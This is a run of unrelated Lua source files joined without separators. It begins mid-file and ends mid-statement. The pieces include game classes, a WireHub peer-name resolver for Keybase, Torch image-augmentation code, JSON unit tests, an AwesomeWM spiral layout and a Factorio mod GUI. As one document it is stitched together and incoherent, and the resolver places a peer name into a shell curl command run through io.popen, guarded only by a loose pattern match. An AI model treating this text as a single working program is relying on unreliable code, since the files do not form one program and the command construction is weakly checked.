BulletBase:hit() end function BulletBase:miss() end function BulletBase:isOver() return self.over_ end return BulletBase
-- load lualine and plenary vim.api.nvim_exec([[ set rtp+=. set rtp+=../plenary.nvim ]], false)
-- Keybase Name reSolver example -- -- WireHub can assign names to peers through a private network configuration -- file. It does not provide any native decentralized name resolver to find the -- key of a peer given its name. This is considered out of the scope of WireHub, -- as many solutions exist and depend on the requirements of the private -- network (e.g. DNS, namecoin, Keybase, ...). -- -- However, it is possible to implement a name resolver and plug it to WireHub -- to make it able to resolve peer's names. This file shows an example of name -- resolving using Keybase (https://keybase.io/) -- -- # Example: Keybase -- -- This example takes advantage of the Keybase filesystem to resolve peer's -- name. Each Keybase user may make a directory named 'wirehub/' in the root of -- its public folder. Each file in the 'wirehub/' directory is named after a -- subdomain, and contains the base64 form of the peer's public key. -- -- Peer's names resolvable via Keybase are of the form: -- -- <user>.kb.wh -- ... or ... -- <subdomain>.<user>.kb.wh -- -- The base64 key of 'foo.bar.kb.wh' is stored in the file -- '/keybase/public/bar/wirehub/foo'. If no subdomain is defined, the file name -- is 'default' (e.g. 'bar.kb.wh' => '/keybase/public/bar/wirehub/default') -- -- For example, see https://keybase.pub/gawenr/wirehub/ local TIMEOUT = 2 local CMD = string.format("curl -m %s -s ", TIMEOUT) local function generate_url(path) local hostname, user = string.match(path, "(.+)%.(.+)") if not hostname and not user then user = path hostname = "default" end return string.format("https://%s.keybase.pub/wirehub/%s", user, hostname) end return function(n, k, cb) local path = string.match(k, "(.+)%.kb.wh") if not path then return cb(nil) end local url = generate_url(path) local cmd = CMD .. url n.ns.worker:pcall( function(ok, resp) if resp then local ok, k = pcall(wh.fromb64, resp) if ok then return cb(k) end end return cb(nil) end, function(cmd) return io.popen(cmd):read() end, cmd ) end
require 'image' require 'nn' function originalToNormalized(s) local prune = false if s:size(1) == 37 then local t = torch.zeros(38) t[{{2,38}}] = s s = t prune = true end o = s:clone() -- class 1 (already normalized) local sum = s[2] + s[3] + s[4] if math.abs(sum - 1.0) > 1e-4 then print(s) end assert(math.abs(sum - 1.0) <= 1e-4, 'Class1') -- class 2 sum = s[5] + s[6] if sum ~= 0 then o[5] = s[5] / sum o[6] = s[6] / sum end assert(math.abs(sum - s[3]) <= 1e-4, 'Class2') -- class 3 sum = s[7] + s[8] if sum ~= 0 then o[7] = s[7] / sum o[8] = s[8] / sum end assert(math.abs(sum - s[6]) <= 1e-4, 'Class3,' .. sum .. ',' .. s[6]) -- class 4 sum = s[9] + s[10] if sum ~= 0 then o[9] = s[9] / sum o[10] = s[10] / sum end assert(math.abs(sum - (s[7] + s[8])) <= 1e-4, 'Class4,' .. sum .. ',' .. s[7] .. ',' .. s[8]) -- class 5 sum = s[11] + s[12] + s[13] + s[14] if sum ~= 0 then o[11] = s[11] / sum o[12] = s[12] / sum o[13] = s[13] / sum o[14] = s[14] / sum end assert(math.abs(sum - (s[10] + s[33]+ s[34]+ s[35] + s[36]+ s[37]+ s[38])) <= 1e-4, 'Class5') -- class 6 (already normalized) sum = s[15] + s[16] assert(math.abs(sum - 1.0) <= 1e-4, 'Class6') -- class 7 sum = s[17] + s[18] + s[19] if sum ~= 0 then o[17] = s[17] / sum o[18] = s[18] / sum o[19] = s[19] / sum end assert(math.abs(sum - s[2]) <= 1e-4, 'Class7') -- class 8 sum = s[20] + s[21] + s[22] + s[23] + s[24] + s[25] + s[26] if sum ~= 0 then o[20] = s[20] / sum o[21] = s[21] / sum o[22] = s[22] / sum o[23] = s[23] / sum o[24] = s[24] / sum o[25] = s[25] / sum o[26] = s[26] / sum end assert(math.abs(sum - s[15]) <= 1e-4, 'Class8') -- class 9 sum = s[27] + s[28] + s[29] if sum ~= 0 then o[27] = s[27] / sum o[28] = s[28] / sum o[29] = s[29] / sum end assert(math.abs(sum - s[5]) <= 1e-4, 'Class9') -- class 10 sum = s[30] + s[31] + s[32] if sum ~= 0 then o[30] = s[30] / sum o[31] = s[31] / sum o[32] = s[32] / sum end assert(math.abs(sum - s[9]) <= 1e-4, 'Class10') -- class 11 sum = s[33] + s[34] + s[35] + s[36] + s[37] + s[38] if sum ~= 0 then o[33] = s[33] / sum o[34] = s[34] / sum o[35] = s[35] / sum o[36] = s[36] / sum o[37] = s[37] / sum o[38] = s[38] / sum end assert(math.abs(sum - (s[30]+s[31]+s[32])) <= 1e-4, 'Class11') if prune then o = o[{{2,38}}] end return o; end function normalizedToOriginal(s) local prune = false if s:size(1) == 37 then local t = torch.zeros(38) t[{{2,38}}] = s s = t prune = true end -- sample is a tensor of size 38. local o = s:clone() -- class 2 o[5] = o[5] * s[3] o[6] = o[6] * s[3] -- class 3 o[7] = o[7] * o[6] o[8] = o[8] * o[6] -- class 4 o[9] = o[9] * (o[7] + o[8]) o[10] = o[10] * (o[7] + o[8]) -- class 10 o[30] = o[30] * o[9] o[31] = o[31] * o[9] o[32] = o[32] * o[9] -- class 11 o[33] = o[33] * (o[30]+o[31]+o[32]) o[34] = o[34] * (o[30]+o[31]+o[32]) o[35] = o[35] * (o[30]+o[31]+o[32]) o[36] = o[36] * (o[30]+o[31]+o[32]) o[37] = o[37] * (o[30]+o[31]+o[32]) o[38] = o[38] * (o[30]+o[31]+o[32]) -- class 5 o[11] = o[11] * (o[10] + o[33] + o[34] + o[35] + o[36] + o[37] + o[38]) o[12] = o[12] * (o[10] + o[33] + o[34] + o[35] + o[36] + o[37] + o[38]) o[13] = o[13] * (o[10] + o[33] + o[34] + o[35] + o[36] + o[37] + o[38]) o[14] = o[14] * (o[10] + o[33] + o[34] + o[35] + o[36] + o[37] + o[38]) -- class 6 (already normalized) -- class 7 o[17] = o[17] * o[2] o[18] = o[18] * o[2] o[19] = o[19] * o[2] -- class 8 o[20] = o[20] * o[15] o[21] = o[21] * o[15] o[22] = o[22] * o[15] o[23] = o[23] * o[15] o[24] = o[24] * o[15] o[25] = o[25] * o[15] o[26] = o[26] * o[15] -- class 9 o[27] = o[27] * o[5] o[28] = o[28] * o[5] o[29] = o[29] * o[5] if prune then o = o[{{2,38}}] end return o end function jitter(s) local d = torch.rand(10) -- vflip if d[1] > 0.5 then s = image.vflip(s) end -- hflip if d[2] > 0.5 then s = image.hflip(s) end -- rotation if d[3] > 0.5 then s = image.rotate(s, math.pi * d[4]) end -- crop a 0.9 to 1.1 sized random patch and resize it to 128 if d[5] > 0.5 then local scalef = torch.uniform(0.9, 1.1) local size = {3, sampleSize[2] * scalef, sampleSize[3] * scalef} local startX = math.ceil(d[6] * (loadSize[2] - size[2] - 1)) local startY = math.ceil(d[7] * (loadSize[3] - size[3] - 1)) local endX = startX + size[2] local endY = startY + size[3] s = image.crop(s, startX, startY, endX, endY) -- now rescale it to sampleSize s = image.scale(s, sampleSize[2], sampleSize[3]) else -- crop a sampleSize[2]xsampleSize[3] random patch local startX = math.ceil(d[6] * (loadSize[2] - sampleSize[2] - 1)) local startY = math.ceil(d[7] * (loadSize[3] - sampleSize[3] - 1)) local endX = startX + sampleSize[2] local endY = startY + sampleSize[3] s = image.crop(s, startX, startY, endX, endY) end return s end function branchIndices(n) if n == 1 then return {{1,3}} elseif n == 2 then return {{4,5}} elseif n == 3 then return {{6,7}} elseif n == 4 then return {{8,9}} elseif n == 5 then return {{10,13}} elseif n == 6 then return {{14,15}} elseif n == 7 then return {{16,18}} elseif n == 8 then return {{19,25}} elseif n == 9 then return {{26,28}} elseif n == 10 then return {{29,31}} elseif n == 11 then return {{32,37}} end end -- have 128 deterministic outputs for each input --[[ original - rotate 0 - rotate 90 - rotate -90 - rotate 180 - rotate further 0 - rotate further 45 - rotate further 30 - rotate further 60 - translate 0 - translate -10px (x) 0px (y) - translate +10px (x) 0px (y) - translate 0px (x) -10px (y) - translate 0px (x) +10px (y) - translate -10px (x) -10px (y) - translate +10px (x) -10px (y) - translate +10px (x) +10px (y) vflip - rotate 0 - rotate 90 - rotate -90 - rotate 180 - rotate further 0 - rotate further 45 - rotate further 30 - rotate further 60 - translate 0 - translate -10px (x) 0px (y) - translate +10px (x) 0px (y) - translate 0px (x) -10px (y) - translate 0px (x) +10px (y) - translate -10px (x) -10px (y) - translate +10px (x) -10px (y) - translate +10px (x) +10px (y) Total number: 2 * 4 * 4 * 8 = 256 ]]-- local function test_t(im, o) local x1 = math.ceil((loadSize[2] - sampleSize[2])/2) local size = sampleSize[2] local t = math.floor(loadSize[2] * 0.04) o[1] = image.crop(im, x1, x1, x1+size, x1+size) -- center patch o[2] = image.crop(im, x1-t, x1, x1-t+size, x1+size) o[3] = image.crop(im, x1+t, x1, x1+t+size, x1+size) o[4] = image.crop(im, x1, x1-t, x1+size, x1-t+size) o[5] = image.crop(im, x1, x1+t, x1+size, x1+t+size) o[6] = image.crop(im, x1-t, x1-t, x1-t+size, x1-t+size) o[7] = image.crop(im, x1+t, x1-t, x1+t+size, x1-t+size) o[8] = image.crop(im, x1+t, x1+t, x1+t+size, x1+t+size) end local function test_rt(im, o) -- rotate further 0 test_t(im, o[{{1,8},{},{},{}}]) -- rotate further 45 local im2 =image.rotate(im, math.pi/4) test_t(im2, o[{{9,16},{},{},{}}]) -- rotate further 30 im2 =image.rotate(im, math.pi/6) test_t(im2, o[{{17,24},{},{},{}}]) -- rotate further 60 im2 =image.rotate(im, math.pi/3) test_t(im2, o[{{25,32},{},{},{}}]) end local function test_rrt(im, o, lightTesting) -- rotate 0 test_rt(im, o[{{1,32},{},{},{}}]) if not lightTesting then -- rotate -90 local minus90 = torch.Tensor(im:size()) for i=1,3 do minus90[i] = im[i]:t() end test_rt(minus90, o[{{33,64},{},{},{}}]) -- rotate 90 local plus90 = image.hflip(image.vflip(minus90)) test_rt(plus90, o[{{65,96},{},{},{}}]) -- rotate 180 local plus180 = image.hflip(image.vflip(im)) test_rt(plus180, o[{{97,128},{},{},{}}]) end end function expandTestSample(im, lightTesting) -- produce the 256 combos, given an input image (3D tensor) local o if lightTesting then o = torch.Tensor(32, sampleSize[1], sampleSize[2], sampleSize[3]) test_rrt(im, o[{{1,32},{},{},{}}], lightTesting) else o = torch.Tensor(256, sampleSize[1], sampleSize[2], sampleSize[3]) -- original test_rrt(im, o[{{1,128},{},{},{}}], lightTesting) -- vflip test_rrt(image.vflip(im), o[{{129,256},{},{},{}}], lightTesting) end for i=1,o:size(1) do o[i]:add(-o[i]:mean()) o[i]:div(o[i]:std()) end if bmode == 'BDHW' then return o else return o end end
function Save(level, health, lives) file = io.open("save.lua", "w") file:write("return { \n") file:write("\tlevel = ", level, ",", "\n") file:write("\thealth = ", health, ",", "\n") file:write("\tlives = ", lives, "\n") file:write("}") file:close() end Save(20, 10, 2) --[[gameData = require("save") print("Loaded:") print("\tlevel: " .. gameData.level) print("\thealth: " .. gameData.health) print("\tlives: " .. gameData.lives)--]] Save(20, 10, 2) gameData = dofile("save.lua") print("Loaded:") print("\tlevel: " .. gameData.level) print("\thealth: " .. gameData.health) print("\tlives: " .. gameData.lives) Save(10, 10, 5) gameData = dofile("save.lua") print("Loaded:") print("\tlevel: " .. gameData.level) print("\thealth: " .. gameData.health) print("\tlives: " .. gameData.lives)
CaerdonConsumable = {} CaerdonConsumableMixin = {} --[[static]] function CaerdonConsumable:CreateFromCaerdonItem(caerdonItem) if type(caerdonItem) ~= "table" or not caerdonItem.GetCaerdonItemType then error("Usage: CaerdonConsumable:CreateFromCaerdonItem(caerdonItem)", 2) end local itemType = CreateFromMixins(CaerdonConsumableMixin) itemType.item = caerdonItem return itemType end
local fs = require('fs') local pathjoin = require('pathjoin') local stat = fs.statSync local pathJoin = pathjoin.pathJoin local isWindows = pathjoin.isWindows local FFMPEG local pre = isWindows and '' or './' local exe = isWindows and 'ffmpeg.exe' or 'ffmpeg' local sep = isWindows and ';' or ':' local function exists(path) local data = stat(path) return data and data.type == 'file' end if exists(exe) then FFMPEG = pre .. exe else for dir in (process.env.PATH .. sep):gmatch('(.-)' .. sep) do if exists(pathJoin(dir, exe)) then FFMPEG = exe break end end end local CHANNELS = 2 local SAMPLE_RATE = 48000 local FRAME_DURATION = 20 -- ms local FRAME_SIZE = SAMPLE_RATE * FRAME_DURATION / 1000 local PCM_SIZE = FRAME_SIZE * CHANNELS * 2 return { CHANNELS = CHANNELS, SAMPLE_RATE = SAMPLE_RATE, MAX_DURATION = math.huge, FRAME_DURATION = FRAME_DURATION, FRAME_SIZE = FRAME_SIZE, PCM_SIZE = PCM_SIZE, PCM_LEN = PCM_SIZE / 2, SILENCE = '\xF8\xFF\xFE', FFMPEG = FFMPEG, MAX_BITRATE = 128000, MIN_BITRATE = 8000, MODE = 'xsalsa20_poly1305', }
local utils = assert(require 'mistress.utils') local inspect = assert(require 'mistress.inspect') local _M = utils.module() _M.Connection = utils.Object:inherit() function _M.Connection:init () self.fd = nil self._finalizers = {} end function _M.Connection:add_finalizer (finalize) table.insert(self._finalizers, finalize) end function _M.Connection:close (leave_fin) local fs = self._finalizers for i = #fs, 1, -1 do fs[i](leave_fin) end end return _M
local HTTP = {} function HTTP:urlhash(str) local strlen = #str local blocks = 4 local hash = "" local memblock = {} if strlen < blocks then blocks = 1 end local lastInc = 0 for i = 1, blocks do local pos = math.floor((i / blocks) * strlen) memblock[i] = util.CRC(string.sub(str, lastInc + 1, pos)) lastInc = pos end for _, v in ipairs(memblock) do hash = hash .. string.format("%x", v) end hash = string.upper(hash) return hash end function HTTP:GetExtension(path) return string.GetExtensionFromFilename(path:gsub("?(.*)", "")) end function HTTP:Fetch(url, success, fail) http.Fetch( url, function(body, size, headers, code) if code >= 400 then if fail then fail(code, body) end return end success(body, size, headers, code) end, fail ) end return HTTP
local ipairs = ipairs local pairs = pairs local type = type local require = require local pcall = pcall local string_lower = string.lower local lor = require("lor.index") local function load_plugin_api(plugin, api_router, store) local plugin_api_path = "orange.plugins." .. plugin .. ".api" local ok, plugin_api = pcall(require, plugin_api_path) if not ok or not plugin_api or type(plugin_api) ~= "table" then ngx.log(ngx.ERR, "[plugin's api load error], plugin_api_path:", plugin_api_path) return end for uri, api_methods in pairs(plugin_api) do ngx.log(ngx.INFO, "load route, uri:", uri) if type(api_methods) == "table" then for method, func in pairs(api_methods) do local m = string_lower(method) if m == "get" or m == "post" or m == "put" or m == "delete" then api_router[m](api_router, uri, func(store)) end end end end end return function(config, store) local api_router = lor:Router() local stat_api = require("orange.plugins.stat.api") local orange_db = require("orange.store.orange_db") --- 插件信息 -- 当前加载的插件,开启与关闭情况, 每个插件的规则条数等 api_router:get("/plugins", function(req, res, next) local available_plugins = config.plugins local plugins = {} for i, v in ipairs(available_plugins) do local tmp = { enable = (v=="stat") and true or (orange_db.get(v .. ".enable") or false), name = v, active_rule_count = 0, inactive_rule_count = 0 } local plugin_rules = orange_db.get_json(v .. ".rules") if plugin_rules then for j, r in ipairs(plugin_rules) do if r.enable == true then tmp.active_rule_count = tmp.active_rule_count + 1 else tmp.inactive_rule_count = tmp.inactive_rule_count + 1 end end end plugins[v] = tmp end res:json({ success = true, data = { plugins = plugins } }) end) --- 加载其他"可用"插件API local available_plugins = config.plugins if not available_plugins or type(available_plugins) ~= "table" or #available_plugins<1 then return api_router end for i, p in ipairs(available_plugins) do load_plugin_api(p, api_router, store) end return api_router end
include( "sh_ksm.lua" ) if SERVER then for k,v in pairs( KSM.Sounds ) do resource.AddSingleFile( "sound/"..tostring(v) ) end end hook.Add( "PlayerSpawn", "KillstreakModifierSpawn", function( ply ) ply.streak = 0 end ) hook.Add( "PlayerDeath", "KillstreakModifierDeath", function( vic, inf, ply ) if vic != ply and ply:IsPlayer() then ply.streak = ply.streak + 1 for k,v in pairs( KSM.Modifiers ) do local display = v["display"] local send = [[surface.PlaySound("]] ..KSM.Sounds[ v["sound"] ].. [[")]] if string.find(display,"{name}") then display = string.Replace(display,"{name}",tostring( ply:Nick() )) end if string.find(display,"{kills}") then display = string.Replace(display,"{kills}",tostring( ply.streak )) end if ply.streak == v.streak then for _,p in pairs( player.GetAll() ) do p:SendLua( send ) end if v["func"] != nil then v["func"]( ply ) end PrintMessage( HUD_PRINTCENTER, display ) elseif ( table.Count(KSM.Modifiers) == k ) then if ply.streak >= v.streak then for _,p in pairs( player.GetAll() ) do p:SendLua( send ) end if v["func"] != nil then v["func"]( ply ) end PrintMessage( HUD_PRINTCENTER, display ) end end end end end )
local included = pcall(debug.getlocal, 4, 1) local T = require("test") local json = require("json") local expect = T.expect --# = json --# :toc: --# :toc-placement!: --# --# JSON encoding and decoding of Lua values. --# --# toc::[] --# --# == *json.encode*(_Any_) -> _String_ --# Encode value to JSON. --# --# === Arguments --# [options="header",width="72%"] --# |=== --# |Type |Description --# |any |Any value --# |=== --# --# === Returns --# [options="header",width="72%"] --# |=== --# |Type |Description --# |string |JSON representation --# |=== local json_encode = function() T.is_function(json.encode) end local json_encode_true = function() T.equal(json.encode(true), "true") end local json_encode_number = function() T.equal(json.encode(1), "1") end local json_encode_signed = function() T.equal(json.encode(-10), "-10") end local json_encode_nil = function() T.equal(json.encode(nil), "null") end local json_encode_emptytable = function() T.equal(json.encode({}), "[]") end local json_encode_sequence1 = function() T.equal(json.encode({ 1, 2, 3 }), "[1,2,3]") end local json_encode_sequence2 = function() local a = {} for i = 1, 5 do a[i] = i end T.equal(json.encode(a), "[1,2,3,4,5]") end local json_encode_sparsetable = function() T.error(json.encode, "sparse array", { 1, 2, [10] = 3 }) end local json_encode_mixedtable1 = function() T.error(json.encode, "mixed or invalid key types", { 1, 2, 3, name = "Tim" }) end local json_encode_mixedtable2 = function() T.error( json.encode, "mixed or invalid key types", { name = "Tim", [false] = 123 } ) end local json_encode_invalidtable = function() local obj = { abc = 123, def = nil, } local obj2 = { obj = obj, } obj.obj2 = obj2 T.is_nil(json.encode(obj)) end --# --# == *json.decode*(_String_) -> _Any_ --# Decode JSON to Lua value --# --# === Arguments --# [options="header",width="72%"] --# |=== --# |Type |Description --# |string |JSON string --# |=== --# --# === Returns --# [options="header",width="72%"] --# |=== --# |Type |Description --# |any |Lua value --# |=== local json_decode = function() T.is_function(json.decode) end local json_decode_array = function() local obj = { "a", 1, "b", 2, "c", 3 } local jsonStr = json.encode(obj) local jsonObj = json.decode(jsonStr) for i = 1, #obj do T.equal(obj[i], jsonObj[i]) end end local json_decode_object = function() local obj = { name = "Tim", number = 12345 } local jsonStr = json.encode(obj) local jsonObj = json.decode(jsonStr) T.equal(obj.name, jsonObj.name) T.equal(obj.number, jsonObj.number) end local json_decode_null = function() T.is_nil(json.decode("null")) end local json_decode_nestedobject = function() T.equal( json.decode(json.encode({ person = { name = "tim" } })).person.name, "tim" ) end if included then return function() T["json.encode"] = json_encode T["json.encode true"] = json_encode_true T["json.encode number"] = json_encode_number T["json.encode signed number"] = json_encode_signed T["json.encode nil"] = json_encode_nil T["json.encode empty table"] = json_encode_emptytable T["json.encode sequence #1"] = json_encode_sequence1 T["json.encode sequence #2"] = json_encode_sequence2 T["json.encode sparse table"] = json_encode_sparsetable T["json.encode mixed table #1"] = json_encode_mixedtable1 T["json.encode mixed table #2"] = json_encode_mixedtable2 T["json.decode"] = json_decode T["json.decode array"] = json_decode_array T["json.decode object"] = json_decode_object T["json.decode null"] = json_decode_null T["json.decode nested object"] = json_decode_nestedobject end else local errstr = function(tested, str, ...) local n, s = tested(...) if n ~= nil then return false, "First return value is not nil." end if nil == (string.find(s, str, 1, true)) then return false, string.format('Not found in error string: "%s".', str) end return true end T.register_assert("error", errstr) T["json.encode"] = json_encode T["json.encode true"] = json_encode_true T["json.encode number"] = json_encode_number T["json.encode signed number"] = json_encode_signed T["json.encode nil"] = json_encode_nil T["json.encode empty table"] = json_encode_emptytable T["json.encode sequence #1"] = json_encode_sequence1 T["json.encode sequence #2"] = json_encode_sequence2 T["json.encode sparse table"] = json_encode_sparsetable T["json.encode mixed table #1"] = json_encode_mixedtable1 T["json.encode mixed table #2"] = json_encode_mixedtable2 T["json.decode"] = json_decode T["json.decode array"] = json_decode_array T["json.decode object"] = json_decode_object T["json.decode null"] = json_decode_null T["json.decode nested object"] = json_decode_nestedobject end
solution "flare" configurations { "Debug", "Release" } configuration "Debug" flags { "Symbols" } dofile("flare.lua")
-- ========== THIS IS AN AUTOMATICALLY GENERATED FILE! ========== PlaceObj('XTemplate', { group = "Infopanel Sections", id = "ipSubsurfaceDeposit", PlaceObj('XTemplateTemplate', { '__context_of_kind', "SubsurfaceDeposit", '__template', "Infopanel", 'Description', T{7419, --[[XTemplate ipSubsurfaceDeposit Description]] "<Description>"}, }, { PlaceObj('XTemplateTemplate', { '__template', "InfopanelSection", 'Title', T{489, --[[XTemplate ipSubsurfaceDeposit Title]] "Available resources"}, 'Icon', "UI/Icons/Sections/deposit.tga", }, { PlaceObj('XTemplateTemplate', { '__template', "InfopanelText", 'Text', T{810, --[[XTemplate ipSubsurfaceDeposit Text]] "<ResourceName><right><resource(Amount,max_amount,resource)>"}, }), PlaceObj('XTemplateTemplate', { '__template', "InfopanelText", 'Text', T{787, --[[XTemplate ipSubsurfaceDeposit Text]] "Grade<right><grade_name>"}, }), }), PlaceObj('XTemplateTemplate', { '__condition', function (parent, context) return context.depth_layer > 1 and not IsDeepExploitable(context.resource) end, '__template', "InfopanelSection", 'Title', T{47, --[[XTemplate ipSubsurfaceDeposit Title]] "<red>Warning</red>"}, 'Icon', "UI/Icons/Sections/warning.tga", }, { PlaceObj('XTemplateTemplate', { '__template', "InfopanelText", 'Text', T{788, --[[XTemplate ipSubsurfaceDeposit Text]] "<center>The deposit is not exploitable with our current technology"}, }), }), PlaceObj('XTemplateTemplate', { '__template', "sectionCheats", }), }), })
--- --- Generated by EmmyLua(https://github.com/EmmyLua) --- Created by wangman. --- DateTime: 2021/8/3 15:10 --- ---@class AMapDataType ---@field Normal number ---@field SlowDown number ---@field Block number AMapDataType = {} AMapDataType.Normal = 0 AMapDataType.Block = 1 AMapDataType.SlowDown = 2 ---@class AMapDataBase ---@field blockData number[][] ---@field mapWidth number ---@field mapHeight number local AMapDataBase = Class("AMapDataBase") function AMapDataBase:ctor(mapWidth, mapHeight) self.mapWidth = mapWidth or 1400 self.mapHeight = mapHeight or 1400 self.blockData = self.blockData or {} end function AMapDataBase:SetMapSize(mapWidth, mapHeight) self.mapWidth = mapWidth or 1400 self.mapHeight = mapHeight or 1400 end ---GetMapDataType ---@param x number ---@param y number ---@return AMapDataType function AMapDataBase:GetMapDataType(x, y) if x > self.mapWidth - 1 or x < 0 or y > self.mapHeight - 1 or y < 0 then return AMapDataType.Block elseif self.blockData[x] ~= nil and self.blockData[x][y] ~= nil then return AMapDataType.Block else return AMapDataType.Normal end end function AMapDataBase:IsBlock(x, y) if x > self.mapWidth - 1 or x < 0 or y > self.mapHeight - 1 or y < 0 then return true else return self.blockData[x] ~= nil and self.blockData[x][y] ~= nil end end function AMapDataBase:SetBlock(x, y) if x > self.mapWidth - 1 or x < 0 or y > self.mapHeight - 1 or y < 0 then PrintError("in AMapData SetBlock out bounds Error x == " .. x .. " y == " .. y) return end self.blockData[x] = self.blockData[x] or {} self.blockData[x][y] = AMapDataType.Block end function AMapDataBase:ClearBlock() self.blockData = {} end return AMapDataBase
--------------------------------------------------------------------------- --- Dwindle and spiral layouts -- -- @author Uli Schlachter &lt;psychon@znc.in&gt; -- @copyright 2009 Uli Schlachter -- @copyright 2008 Julien Danjou -- -- @module awful.layout --------------------------------------------------------------------------- -- Grab environment we need local ipairs = ipairs local math = math --- The spiral layout layoutbox icon. -- @beautiful beautiful.layout_spiral -- @param surface -- @see gears.surface --- The dwindle layout layoutbox icon. -- @beautiful beautiful.layout_dwindle -- @param surface -- @see gears.surface local spiral = {} local function do_spiral(p, _spiral) local wa = p.workarea local cls = p.clients local n = #cls local old_width, old_height = wa.width, 2 * wa.height for k, c in ipairs(cls) do if k % 2 == 0 then wa.width, old_width = math.ceil(old_width / 2), wa.width if k ~= n then wa.height, old_height = math.floor(wa.height / 2), wa.height end else wa.height, old_height = math.ceil(old_height / 2), wa.height if k ~= n then wa.width, old_width = math.floor(wa.width / 2), wa.width end end if k % 4 == 0 and _spiral then wa.x = wa.x - wa.width elseif k % 2 == 0 then wa.x = wa.x + old_width elseif k % 4 == 3 and k < n and _spiral then wa.x = wa.x + math.ceil(old_width / 2) end if k % 4 == 1 and k ~= 1 and _spiral then wa.y = wa.y - wa.height elseif k % 2 == 1 and k ~= 1 then wa.y = wa.y + old_height elseif k % 4 == 0 and k < n and _spiral then wa.y = wa.y + math.ceil(old_height / 2) end local g = { x = wa.x, y = wa.y, width = wa.width, height = wa.height } p.geometries[c] = g end end --- Dwindle layout. -- @clientlayout awful.layout.suit.spiral.dwindle spiral.dwindle = {} spiral.dwindle.name = "dwindle" function spiral.dwindle.arrange(p) return do_spiral(p, false) end --- Spiral layout. -- @clientlayout awful.layout.suit.spiral.name spiral.name = "spiral" function spiral.arrange(p) return do_spiral(p, true) end return spiral -- vim: filetype=lua:expandtab:shiftwidth=4:tabstop=8:softtabstop=4:textwidth=80
--[[ * MOCK framework for Moai * Copyright (C) 2012 Tommo Zhou(tommo.zhou@gmail.com). All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ]] luaExtName = luaExtName or '.lua' -------------------------------------------------------------------- module( 'mock', package.seeall ) local _WARNED = {} setmetatable( _G, { __index = function(t, k) if t == _G then if k == 'mock_edit' then return end if k:find( 'MOAI' ) then return end if _WARNED[ k ] then return nil end _WARNED[ k ] = true _error( 'undefined global:', k ) end return nil end }) require 'mock.core' -------------------------------------------------------------------- ----------------Asset Loaders --FIXME: removed this when finished porting require 'mock.gfx.asset.resloader' -------------------------------------------------------------------- ----tools require 'mock.tools' require 'mock.common' require 'mock.common.portal' require 'mock.common.shape' -------------------------------------------------------------------- --PACKAGES -------------------------------------------------------------------- ------Animator? require 'mock.animator' require 'mock.snapshot' ------Graphics require 'mock.gfx' ------Phyics require 'mock.physics' ------Audio require 'mock.audio' ----Entity require 'mock.entity' ------GUI system require 'mock.gui' ------STORY require 'mock.story' require 'mock.quest' ------Sequence require 'mock.sqscript' ------AI require 'mock.ai' ----UI require 'mock.ui' ----Effects require 'mock.effect' ----Extra require 'mock.extra' --------------------------------------------------------------------- ----Editor require 'mock.editor' -------------------------------------------------------------------- ----Let's POLLUTE THE GLOBAL ENV -------------------------------------------------------------------- function mock.injectGlobalSymbols( env ) local globalSymbols = { 'Entity', 'GlobalEntity', 'SingleEntity', 'Scene', 'game', '_DebugDraw' } env = env or _G for i, k in ipairs( globalSymbols ) do rawset( env, k, mock[ k ] ) end end mock.injectGlobalSymbols( _G ) -------------------------------------------------------------------- ----INIT -------------------------------------------------------------------- function mock.init( configPath, fromEditor, extra ) mock.game:loadConfig( configPath, fromEditor, extra ) end function mock.start( option ) mock.game:openEntryScene( option ) end function mock.printtable( t ) for k,v in pairs( t ) do print (k,v) end end local shit = MOAIProp.new() function mock.getShit() return {[shit] = true } end
--[[ "name": "fast-filter-fill", "title": "Fast Filter Fill", "author": "Keryja, SeaRyanC", "contact": "http://github.com/keryja/", "homepage": "https://mods.factorio.com/keryja/fast-filter-fill", "description": "Quickly duplicate filter settings in Cargo Wagons and other filterable containers", --]] local Event = require('__stdlib__/stdlib/event/event') local Gui = require('__stdlib__/stdlib/event/gui') local Inventory = require('__stdlib__/stdlib/entity/inventory') local Table = require('__stdlib__/stdlib/utils/table') local Math = require('__stdlib__/stdlib/utils/math') local lib = require('__PickerAtheneum__/utils/lib') --(( GUI ))-- local INVENTORY_COLUMNS = 10 local GUI_TYPES = { [defines.gui_type.controller] = true, [defines.gui_type.entity] = true } local floor, ceil = math.floor, math.ceil --[flow][frame][[table[#btns]][table[#btns]]] local function get_or_create_filterfill_gui(player, destroy) local flow = lib.get_or_create_main_left_flow(player, 'picker') local filter_frame = flow['filterfill_frame'] if destroy then return filter_frame and filter_frame.destroy() elseif not filter_frame then filter_frame = flow.add {type = 'frame', name = 'filterfill_frame', direction = 'horizontal', style = 'picker_frame'} local requests = filter_frame.add {type = 'table', name = 'filterfill_requests', column_count = 6, style = 'picker_table'} requests.add { type = 'sprite-button', name = 'filterfill_requests_btn_bp', sprite = 'picker-request-bp', tooltip = {'filterfill.btn-bp'}, style = 'picker_buttons' } requests.add { type = 'sprite-button', name = 'filterfill_requests_btn_2x', sprite = 'picker-request-2x', tooltip = {'filterfill.btn-2x'}, style = 'picker_buttons' } requests.add { type = 'sprite-button', name = 'filterfill_requests_btn_5x', sprite = 'picker-request-5x', tooltip = {'filterfill.btn-5x'}, style = 'picker_buttons' } requests.add { type = 'sprite-button', name = 'filterfill_requests_btn_10x', sprite = 'picker-request-10x', tooltip = {'filterfill.btn-10x'}, style = 'picker_buttons' } requests.add { type = 'sprite-button', name = 'filterfill_requests_btn_max', sprite = 'picker-request-max', tooltip = {'filterfill.btn-max'}, style = 'picker_buttons' } requests.add { type = 'sprite-button', name = 'filterfill_requests_btn_0x', sprite = 